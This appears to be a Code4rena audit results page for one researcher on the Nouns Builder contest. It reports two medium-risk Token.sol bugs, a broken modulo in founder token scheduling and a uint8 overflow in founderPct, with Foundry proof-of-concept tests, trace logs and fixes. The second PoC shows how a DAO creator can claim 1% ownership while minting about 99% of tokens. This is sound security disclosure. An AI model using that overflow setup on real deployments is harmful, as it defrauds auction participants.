Nouns Builder contest - antonttc's results

A permissionless, governed protocol to deploy nouns-style DAOs complete with treasury, generative collections, and governance mechanisms.

General Information

Platform: Code4rena

Start Date: 06/09/2022

Pot Size: $90,000 USDC

Total HM: 33

Participants: 168

Period: 9 days

Judge: GalloDaSballo

Total Solo HM: 10

Id: 157

League: ETH

Nouns Builder

Findings Distribution

Researcher Performance

Rank: 144/168

Findings: 2

Award: $54.69

🌟 Selected for report: 0

🚀 Solo Findings: 0

External Links

Code4rena Contest Page Github Contest Repository Github Findings Repository Nouns Builder

Findings Information

🌟 Selected for report: MEP

Also found by: 0xSky, CertoraInc, MiloTruck, PwnPatrol, R2, Tointer, V_B, __141345__, antonttc, azephiar, cccz, d3e4, datapunk, davidbrai, easy_peasy, hansfriese, minhtrng, neumo, pcarranzav, peritoflores, scaraven, teawaterwire, tonisives, unforgiven, wagmi, zkhorse, zzzitron

Awards

5.6134 USDC - $5.61

Labels

bug

duplicate

2 (Med Risk)

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L118

Vulnerability details

Impact

baseToken registration algorithm is implemented wrongly without limiting the upper bound of baseTokenId, which leads to founder getting less than what they are entitled for

Description

In the implementation of addFounders, while registering base tokenId to a reserved founder, the baseTokenId should be bounded to value < 100. But this is not ensured:

(baseTokenId += schedule) % 100; // %100 has no effect on this line

This makes it possible for the algorithm to find baseTokenId > 100, which will not affect when minting token for auction:

function _isForFounder(uint256 _tokenId) private returns (bool) {
  // Get the base token id
  uint256 baseTokenId = _tokenId % 100;
  
  // If there is no scheduled recipient:
  if (tokenRecipient[baseTokenId].wallet == address(0)) {
      return false;

  
  } else if (block.timestamp < tokenRecipient[baseTokenId].vestExpiry) {  <--- THIS  LINE WILL NOT BE TRIGGERED! tokenRecipient[baseTokenId] with baseTokenId > 99 will never be matched!!  

      _mint(tokenRecipient[baseTokenId].wallet, _tokenId);

      return true;

      // Else the founder has finished vesting:
  }

POC Script

for example, if a founder registered with the following configuration

function setBadFounderParams() internal virtual {
      address[] memory wallets = new address[](2);
      uint256[] memory percents = new uint256[](2);
      uint256[] memory vestingEnds = new uint256[](2);

      wallets[0] = founder;
      wallets[1] = founder2;

      // valid config: 60% and 30%
      percents[0] = 60;
      percents[1] = 30;

      vestingEnds[0] = 4 weeks; 
      vestingEnds[1] = 4 weeks;

      setFounderParams(wallets, percents, vestingEnds);
  }

  function deployBad() internal virtual {
      setBadFounderParams();

      // old
      setMockTokenParams();
      setMockAuctionParams();
      setMockGovParams();

      deploy(foundersArr, tokenParams, auctionParams, govParams);
  }

And running the following script will show is the log:

function test_BadSetup() public {
      deployBad();
  }

/// forge test -vvvv --match-test test_BadSetup

You can see from the log that for the second founder, some of the baseTokenId registered is higher than 100, which means he will not get his share!

├─ emit MintScheduled(baseTokenId: 0, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 1, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 2, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 3, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 4, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    .... {0 - 59 is for founderId 0}
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 59, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 60, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 63, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 66, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 69, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 72, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 75, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 78, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 81, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 84, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 87, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 90, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 93, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 96, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 99, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 102, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 105, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 108, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 111, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 114, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 117, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 120, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 123, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 126, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 129, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 132, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 135, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 138, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 141, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 144, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 147, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))

Mitigation

During _addFounders, while binding baseTokenId, make sure the % 100 take effects:

// Update the base token id
baseTokenId = (baseTokenId + schedule) % 100;
//

After this fixed, the algorithm will work:

    {... skipped 0 - 58 for founder id 0}
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 58, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 59, founderId: 0, founder: (0xd3562fd10840f6ba56112927f7996b7c16edfcc1, 60, 86400))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 60, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 63, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 66, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 69, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 72, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 75, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 78, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 81, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 84, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 87, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 90, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 93, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 96, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 99, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 61, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 64, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 67, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 70, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 73, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 76, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 79, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 82, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 85, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 88, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 91, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 94, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 97, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 62, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 65, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))
    │   │   │   │   ├─ emit MintScheduled(baseTokenId: 68, founderId: 1, founder: (0xa7cbf566e80c4a1df2c4ae965c79fb087f25e4bf, 30, 2419200))

#0 - GalloDaSballo
2022-09-20T20:49:19Z

Dup of https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/269

Findings Information

🌟 Selected for report: CertoraInc

Also found by: 0xSky, PwnPatrol, Tomo, V_B, antonttc, bin2chen, pcarranzav, peritoflores, rbserver, scaraven, wagmi, zzzitron

Labels

bug

duplicate

2 (Med Risk)

Awards

49.075 USDC - $49.08

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L88

Vulnerability details

Impact

Malicious owner can create DAO which owns more percentage than claimed, making user mistakenly participate in an auction that seems legit.

Proof of Concept

While initialising Token.sol, the creator can use the founder parameter to mess up the configuration (with the field ownershipPct and wallet). One of the main cause is that the logic of reserving token to founder does not properly do the following checks:

founderPct does not overflow uint8
baseTokenId cannot be higher than 99 when setting tokenRecipient[baseTokenId]

This makes it possible for a creator to create a doa such that, it can create a DAO that seems like it only has a certain percentage of the created NFT, but actually own then more than owned.

Detail Explanation

The root cause is because while checking max ownershipPct, it is convert to uint8 without safeCast.

if ((totalOwnership += uint8(founderPct)) > 100) revert INVALID_FOUNDER_OWNERSHIP();

So if a user pass in founderPct > 256 , he can actually register x to x + 256 as baseTokenId without the function reverting.

This is make it possible for malicious dao creator to create such a config that the founder can own 99% percentage of the total supploy, but only shows “1%” with ownershipPct.

The following POC shows how to create such a DAO.

POC Script

Consider a creator using the following setup (compared to setMockFounderParams in NounceBuilderTest.t.sol:

function setMaliciousFounderParams() internal virtual {
    address[] memory wallets = new address[](2);
    uint256[] memory percents = new uint256[](2);
    uint256[] memory vestingEnds = new uint256[](2);

    wallets[0] = founder;
    wallets[1] = founder2;

    percents[0] = 1;
    percents[1] = 257; // let it overflow uint8 to 1

    vestingEnds[0] = 0 days;  // any reserved tokenId % 100 == 0 immediate become "free to auction"
    vestingEnds[1] = 4 weeks;

    setFounderParams(wallets, percents, vestingEnds);
}

function deployMalicious() internal virtual {
    setMaliciousFounderParams();
    
    // old setup
    setMockTokenParams();
    setMockAuctionParams();
    setMockGovParams();

    deploy(foundersArr, tokenParams, auctionParams, govParams);
}

The run the following POC test:

function test_MaliciousSetup() public {
    deployMalicious();

    // start the first auction (user can bid and buy)
    vm.prank(auction.owner());
    auction.unpause();

    // end the first auction
    vm.warp(block.timestamp + auction.duration() + 1);

    // this will create 99 tokens for founder2
    // and put token #100 to auction again
    auction.settleCurrentAndCreateNewAuction(); 
    assertEq(token.ownerOf(99), founder2);
    assertEq(token.ownerOf(100), address(auction));

    // end the second auction
    vm.warp(block.timestamp + auction.duration() + 1);

    // this will cerate token #101 to #199 to founder2
    auction.settleCurrentAndCreateNewAuction(); 
    // and put token #200 to auction again
    assertEq(token.ownerOf(199), founder2);
		assertEq(token.ownerOf(101), founder2);
    assertEq(token.ownerOf(200), address(auction));

    // get the founder
    TokenTypesV1.Founder memory founder = token.getFounder(1);
    // Seems like it only has 1 percent!
    assertEq(founder.ownershipPct, 1);
}

forge test -vvvv --match-test test_MaliciousSetup

The above script shows that the owner can mint 99% lot of token to himself, while only showing that he owns 1%.

Recommended Mitigation Steps

Add the following check

// add this one too!
if (founderPct > 256) revert INVALID_FOUNDER_OWNERSHIP();
// old check
if ((totalOwnership += uint8(founderPct)) > 100) revert INVALID_FOUNDER_OWNERSHIP();

#0 - GalloDaSballo
2022-09-26T19:21:49Z

Dup of #303

Nouns Builder contest - antonttc's results

A permissionless, governed protocol to deploy nouns-style DAOs complete with treasury, generative collections, and governance mechanisms.

General Information

Findings Distribution

Researcher Performance

External Links

[M-04] baseToken registration is implemented wrongly, which leads to founder getting less than what they are entitled for - $5.61

Findings Information

Awards

Labels

External Links

Lines of code

Vulnerability details

Impact

Description

POC Script

Mitigation

#0 - GalloDaSballo2022-09-20T20:49:19Z

[M-21] Malicious owner can create DAO which owns more percentage than claimed - $49.08

Findings Information

Labels

Awards

External Links

Lines of code

Vulnerability details

Impact

Proof of Concept

Detail Explanation

Recommended Mitigation Steps

#0 - GalloDaSballo2022-09-26T19:21:49Z

#0 - GalloDaSballo
2022-09-20T20:49:19Z

#0 - GalloDaSballo
2022-09-26T19:21:49Z